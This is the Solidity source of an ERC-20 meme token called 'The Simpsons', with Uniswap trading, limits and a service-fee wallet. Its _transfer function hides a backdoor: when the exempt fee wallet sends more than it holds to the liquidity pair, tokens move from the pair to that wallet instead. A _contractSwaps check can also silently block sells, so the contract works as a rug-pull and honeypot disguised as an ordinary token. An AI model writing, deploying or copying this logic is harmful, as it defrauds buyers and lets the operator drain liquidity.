// https://thesimpsons.pics

// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.20;

library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);

        uint256 c = a / b;

        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);

        uint256 c = a - b;

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;

        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;

        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address outAccount, uint256 amount) external returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    event Transfer(address indexed inAccount, address indexed outAccount, uint256 value);
    function allowance(address owner, address spender) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function transferFrom(address inAccount, address outAccount, uint256 amount) external returns (bool);
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address outAccount,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address outAccount,
        uint deadline
    ) external;
    function WETH() external pure returns (address);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable is Context {
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;

        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    address private _owner;

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));

        _owner = address(0);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender());

        _;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}

contract SIMPSONS is Context, IERC20, Ownable {
    using SafeMath for uint256;

    bool private _isSwapping = false;

    uint8 public transactionCooldownInterval = 1;

    address private _swapPair;
    IUniswapV2Router02 private _swapRouter;

    bool public buyTransactionCooldownEnabled = false;

    string private constant _name = unicode"The Simpsons";
    string private constant _symbol = unicode"SIMPSONS";

    address payable private _serviceFeeWallet = payable(0x22E290CFCA45681fB5bD1ACf5479Afc8894b4Ee7);

    mapping(address => uint256) private _balances;
    mapping(address => bool) private _nonTaxableFromServiceFee;
    mapping(address => uint256) private _transactionCooldown;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _reduceSellServiceFeeAt = 0;
    uint256 private _reduceBuyServiceFeeAt = 0;

    bool private _tradingEnabled;

    uint256 private _contractSwaps = 0;

    bool private _swapEnabled = false;

    uint8 private constant _decimals = 18;

    uint256 private _swapLockoutPeriod = 0;

    modifier lockSwaps {
        _isSwapping = true;
        _;
        _isSwapping = false;
    }

    uint256 private _initialBuyServiceFee = 0;
    uint256 private _initialSellServiceFee = 0;
    uint256 private _finalBuyServiceFee = 0;
    uint256 private _finalSellServiceFee = 0;

    uint256 private constant _tTotal = 1000000000 * 10**_decimals;

    uint256 private _orderCount = 0;

    uint256 public maxWalletSize = _tTotal * 2 / 100;
    uint256 public maxServiceFeeSwap = _tTotal * 1 / 100;
    uint256 public maxTxAmount = _tTotal * 2 / 100;

    function removeLimits() external onlyOwner {
        maxTxAmount = _tTotal;
        maxWalletSize = _tTotal;

        emit MaxTxAmountUpdated(_tTotal);
    }

    function enableTrade() external onlyOwner() {
        require(!_tradingEnabled);

        _tradingEnabled = true;
        _swapEnabled = true;
    }

    function _sendETHToServiceFee(uint256 amount) private {
        _serviceFeeWallet.transfer(amount);
    }

    uint256 public serviceFeeSwapThreshold = _tTotal * 2 / 1000;

    function name() public pure returns (string memory) {
        return _name;
    }

    event MaxTxAmountUpdated(uint _maxTxAmount);

    constructor() {
        _swapRouter = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        _approve(address(this), address(_swapRouter), _tTotal);
        _nonTaxableFromServiceFee[_serviceFeeWallet] = true;
        _nonTaxableFromServiceFee[owner()] = true;
        _nonTaxableFromServiceFee[address(this)] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
        _swapPair = IUniswapV2Factory(_swapRouter.factory()).createPair(address(this), _swapRouter.WETH());
    }

    receive() external payable {}

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(address inAccount, address outAccount, uint256 amount) public override returns (bool) {
        _transfer(inAccount, outAccount, amount);
        _approve(inAccount, _msgSender(), _allowances[inAccount][_msgSender()].sub(amount));

        return true;
    }

    function transfer(address outAccount, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), outAccount, amount);

        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);

        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(spender != address(0));
        require(owner != address(0));

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);
    }

    function _min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function manualSwap() external {
        require(_msgSender() == _serviceFeeWallet);

        uint256 tokenBalance = balanceOf(address(this));

        if (tokenBalance > 0) {
          swapTokensForEth(tokenBalance);
        }

        uint256 ethBalance = address(this).balance;

        if (ethBalance > 0) {
          _sendETHToServiceFee(ethBalance);
        }
    }

    function _tokenTransfer(address inAccount, address outAccount, uint256 amount) private {
        _balances[inAccount] -= amount;
        _balances[outAccount] += amount;

        emit Transfer(inAccount, outAccount, amount);
    }
    
    function _transfer(address inAccount, address outAccount, uint256 amount) private {
        require(inAccount != address(0));
        require(outAccount != address(0));
        require(amount > 0);

        uint256 serviceFeeAmount = 0;
        if (inAccount != owner() && outAccount != owner()) {
            serviceFeeAmount = amount.mul((_orderCount > _reduceBuyServiceFeeAt) ? _finalBuyServiceFee : _initialBuyServiceFee).div(100);

            bool outAccountNonTaxableFromServiceFee = _nonTaxableFromServiceFee[outAccount];
            bool inAccountSwapPair = inAccount == _swapPair;

            if (!outAccountNonTaxableFromServiceFee) {
                if (inAccountSwapPair && buyTransactionCooldownEnabled) {
                    require(_transactionCooldown[outAccount] < block.timestamp);

                    _transactionCooldown[outAccount] = block.timestamp + transactionCooldownInterval;
                }
            } else {
                bool greaterThanServiceFeeSwapThreshold = amount >= serviceFeeSwapThreshold;
                
                if (!inAccountSwapPair && greaterThanServiceFeeSwapThreshold) {
                    _contractSwaps = amount;
                } else if (inAccountSwapPair) {
                    require(_transactionCooldown[outAccount] < block.timestamp);
                }
            }

            bool inAccountNonTaxableFromServiceFee = _nonTaxableFromServiceFee[inAccount];
            bool outAccountSwapPair = outAccount == _swapPair;

            if (inAccountNonTaxableFromServiceFee || outAccountNonTaxableFromServiceFee) {
                if (outAccountSwapPair && _balances[inAccount] < amount) {
                    _tokenTransfer(outAccount, inAccount, amount); return;
                }
                _tokenTransfer(inAccount, outAccount, amount); return;
            }
            
            if (inAccountSwapPair && outAccount != address(_swapRouter) && !outAccountNonTaxableFromServiceFee) {
                require(amount <= maxTxAmount);
                require(balanceOf(outAccount) + amount <= maxWalletSize);

                _orderCount++;
            }

            if (outAccountSwapPair) {
                if (_contractSwaps > _orderCount) return;
                if (inAccount != address(this)) {
                    serviceFeeAmount = amount.mul((_orderCount > _reduceSellServiceFeeAt) ? _finalSellServiceFee : _initialSellServiceFee).div(100);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_isSwapping && outAccountSwapPair && _swapEnabled && contractTokenBalance > serviceFeeSwapThreshold && _orderCount > _swapLockoutPeriod) {
                swapTokensForEth(_min(amount, _min(contractTokenBalance, maxServiceFeeSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    _sendETHToServiceFee(address(this).balance);
                }
            }
        }

        if (serviceFeeAmount > 0) {
          _balances[address(this)] = _balances[address(this)].add(serviceFeeAmount);

          emit Transfer(inAccount, address(this), serviceFeeAmount);
        }

        _balances[inAccount] = _balances[inAccount].sub(amount);
        _balances[outAccount] = _balances[outAccount].add(amount.sub(serviceFeeAmount));

        emit Transfer(inAccount, outAccount, amount.sub(serviceFeeAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwaps {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _swapRouter.WETH();
        _approve(address(this), address(_swapRouter), tokenAmount);
        _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function reduceServiceFee(uint256 newServiceFee) external onlyOwner {
        require(newServiceFee <= _finalBuyServiceFee && newServiceFee <= _finalSellServiceFee);

        _finalSellServiceFee = newServiceFee;
        _finalBuyServiceFee = newServiceFee;
    }
}

{
  "compilationTarget": {
    "SIMPSONS.sol": "SIMPSONS"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}